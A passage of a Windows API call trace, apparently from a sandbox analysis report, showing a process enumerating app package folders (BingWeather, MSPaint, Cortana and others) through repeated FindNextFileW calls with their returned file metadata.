dwReserved1=0x2e0000, cFileName="Microsoft.BingWeather_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.BIN")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7d0704ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7d17b532, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BioEnrollment_cw5n1h2txyewy", cAlternateFileName="MICROS~1.BIO")) returned 1 [0245.540] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x131e209, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x131e209, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.CommsPhone_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.COM")) returned 1 [0245.540] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xffc77b6a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xffc77b6a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ConnectivityStore_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.CON")) returned 1 [0245.540] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767fb19c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767fb19c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.CredDialogHost_cw5n1h2txyewy", cAlternateFileName="MICROS~1.CRE")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe8f2692, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe8f2692, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.DesktopAppInstaller_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.DES")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388df267, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfd81bc01, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfd81bc01, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Getstarted_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.GET")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7b2c8ffc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7b44678d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.LockApp_cw5n1h2txyewy", cAlternateFileName="MICROS~1.LOC")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfbf856cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbf856cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Messaging_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.MES")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9f55962, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9f55962, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Microsoft3DViewer_8wekyb3d8bbwe", cAlternateFileName="MIC2FD~1.MIC")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdc4fe9ef, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdc92abfb, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.MicrosoftEdge_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.MIC")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf9428887, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9428887, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.MIC")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xdba259a9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xdba259a9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.MIC")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8c4028f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8c4028f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.MIC")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7dcbdba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7dcbdba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.MSPaint_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.MSP")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf27b049c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x33b4c3b0, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33b4c3b0, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_8")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33dfacc4, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33dfacc4, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.1_8")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebee37c7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xebf2fc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xebf2fc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET.Native.Framework.1.3_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.3_8")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x266a19e6, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x34036ffb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x34036ffb, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.6_8")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x34273354, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x34273354, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.0_8")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x344af7fa, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x344af7fa, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.1_8")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb85500d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeb8a14cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeb8a14cb, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET.Native.Runtime.1.3_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.3_8")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94b424e4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94bb4bf1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x94bb4bf1, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET.Native.Runtime.1.4_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.4_8")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28b9688c, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x3509b345, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3509b345, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.6_8")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e030d8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x8d747894, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8d974b3f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.OneNote_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.ONE")) returned 1 [0245.541] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd6e72acf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd6e72acf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Sway_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.SWA")) returned 1 [0245.542] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5dc228d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5dc228d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.OneConnect_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.ONE")) returned 1 [0245.542] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236d6f79, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4774ad5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd4774ad5, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.People_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.PEO")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f7086bb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f7086bb, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PPIProjection_cw5n1h2txyewy", cAlternateFileName="MICROS~1.PPI")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b121dc6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8b2eb9cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Services.Store.Engagement_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.ENG")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x88a3d6df, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x88e698d0, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.SkypeApp_kzf8qxf38zg5c", cAlternateFileName="MICROS~1.SKY")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd30f451d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd3166c27, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd3166c27, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.StorePurchaseApp_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.STO")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x35ff46f7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x35ff46f7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.VCLibs.140.00_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.00_")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6065f77, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc66f4772, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc66f4772, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Wallet_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.WAL")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77243451, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x77243451, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy", cAlternateFileName="MICROS~1.CHX")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfb93d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7962cbd4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7975de94, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy", cAlternateFileName="MICROS~1.ASS")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd05a99ea, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd05a99ea, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy", cAlternateFileName="MICROS~1.CLO")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7659308d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xddff7455, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xddff7455, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy", cAlternateFileName="MICROS~2.CON")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdade5d03, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdade5d03, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.Cortana_cw5n1h2txyewy", cAlternateFileName="MICROS~1.COR")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy", cAlternateFileName="MICROS~1.HOL")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7544fabf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy", cAlternateFileName="MICROS~1.MOD")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b8500e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy", cAlternateFileName="MICROS~2.OOB")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74116aed, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy", cAlternateFileName="MICROS~1.OOB")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x734de9c3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x73a62109, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Windows.ParentalControls_cw5n1h2txyewy", cAlternateFileName="MICROS~1.PAR")) returned 1 [0245.543] FindNextFileW (in: hFindFile=0x41c16b0, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, 